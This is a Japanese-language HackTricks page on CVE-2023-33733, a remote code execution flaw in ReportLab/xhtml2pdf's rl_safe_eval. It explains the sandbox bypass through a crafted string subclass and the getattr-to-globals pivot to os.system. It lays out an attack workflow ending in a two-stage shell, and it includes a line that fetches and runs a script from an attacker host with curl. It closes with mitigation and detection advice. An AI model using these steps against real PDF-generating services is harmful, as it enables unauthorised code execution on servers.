ReportLab/xhtml2pdf [[[...]]] 式評価 RCE (CVE-2023-33733)

Reading time: 9 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

このページは、ReportLab の rl_safe_eval(xhtml2pdf やその他の PDF 生成パイプラインでユーザー制御の HTML を PDF にレンダリングする際に使用)に存在する実用的なサンドボックス脱出および RCE プリミティブについてまとめたものです。

CVE-2023-33733 は ReportLab のバージョン 3.6.12 まで(含む)に影響します。特定の属性コンテキスト(例: color)では、triple brackets [[[ ... ]]] で囲まれた値が rl_safe_eval によりサーバー側で評価されます。ホワイトリスト化された組み込み関数(pow など)からその関数の globals にピボットするペイロードを作成することで、攻撃者は os モジュールに到達してコマンドを実行できます。

Key points

  • Trigger: ReportLab/xhtml2pdf によって解析されるマークアップ内の 等の評価される属性に [[[ ... ]]] を注入する。
  • Sandbox: rl_safe_eval は危険な組み込みを置換するが、評価された関数は依然として globals を公開している。
  • Bypass: rl_safe_eval の名前チェックを回避し、ブロックされた dunder フィルタリングを避けつつ文字列 "globals" にアクセスするための一時的なクラス Word を作成する。
  • RCE: getattr(pow, Word("globals"))["os"].system("")
  • Stability: 実行後に属性が有効な値を返すようにする(color の場合は and 'red' を使うなど)。

When to test

  • HTML を PDF にエクスポートできるアプリケーション(プロフィール、請求書、レポート等)で、PDF メタデータや HTTP レスポンスのコメントに xhtml2pdf/ReportLab が表示される場合。
  • exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" が Producer に表示される
  • PDF の HTTP レスポンスはしばしば ReportLab の generator コメントで始まる

How the sandbox bypass works

  • rl_safe_eval は多くの組み込み(getattr, type, pow, ...)を削除または置換し、名前が __ で始まるものや拒否リストに載る属性を拒否する名前フィルタを適用する。
  • しかし、safe な関数は func.globals のようなグローバル辞書に格納されている。
  • type(type(1)) を使って実際の組み込み type 関数を回復し(ReportLab のラッパーを回避)、比較挙動を変えた str 継承の Word クラスを定義することで次を実現する:
    • .startswith('') → 常に False(名前 startswith('') チェックを回避)
    • .eq は最初の比較のみ False を返し(denylist メンバーチェックを回避)、その後は True を返す(Python の getattr が動作するように)
    • .hash が hash(str(self)) と等しい
  • これにより getattr(pow, Word('globals')) はラップされた pow 関数の globals 辞書を返し、その中に読み込まれた os モジュールが含まれる。あとは ['os'].system('')。

Minimal exploitation pattern (attribute example) 評価される属性の内部にペイロードを置き、boolean と 'red' を使って属性が有効な値を返すようにする。

exploit

  • リスト内包表現の形式にすることで、rl_safe_eval が受け入れる単一式に収めている。
  • 最後の and 'red' により有効な CSS color を返すため、レンダリングが壊れない。
  • コマンドは必要に応じて置き換える。実行確認には tcpdump と ping を併用する。

Operational workflow

  1. PDF ジェネレータを特定する
  • PDF Producer が xhtml2pdf を示す; HTTP レスポンスに ReportLab コメントが含まれる。
  1. PDF に反映される入力箇所を見つける(例: profile bio/description)とエクスポートをトリガーする。
  2. 低ノイズな ICMP で実行を検証する
  • 実行例: sudo tcpdump -ni icmp
  • ペイロード例: ... system('ping <your_ip>') ...
  • Windows は既定で正確に 4 回の echo request を送ることが多い。
  1. シェルの確立
  • Windows 向けには、クォート/エンコーディング問題を避けるため信頼できる 2 ステージ手法が有効:
  • Stage 1 (ダウンロード):

exploit

  • Stage 2 (実行):

exploit

  • Linux ターゲット向けには curl/wget を使った類似の 2 ステージも可能:
  • system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')

Notes and tips

  • 属性コンテキスト: color は評価される既知の属性。ReportLab マークアップの他の属性も式を評価する可能性がある。ある箇所がサニタイズされている場合は、PDF フローにレンダリングされる他の場所(異なるフィールド、テーブルのスタイル等)を試す。
  • クォーティング: コマンドはできるだけ簡潔に。2 ステージのダウンロードはクォートやエスケープの問題を大幅に減らす。
  • 信頼性: エクスポートがキャッシュ或いはキュー化されている場合、キャッシュ回避のためにペイロードを少し変える(ランダムなパスやクエリを追加)こと。

Mitigations and detection

  • ReportLab を 3.6.13 以降にアップグレードする(CVE-2023-33733 は修正済み)。ディストリビューションのパッケージセキュリティアドバイザリも追跡すること。
  • ユーザー制御の HTML/マークアップを xhtml2pdf/ReportLab に直接渡さない。信頼できない入力に対しては厳格なサニタイズを行い、[[[...]]] の評価構文やベンダー固有タグを削除/拒否する。
  • 信頼できない入力に対しては rl_safe_eval の使用を無効化するかラップすることを検討する。
  • PDF 生成時の疑わしいアウトバウンド接続(アプリサーバーからの ICMP/HTTP 等)を監視する。

References

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする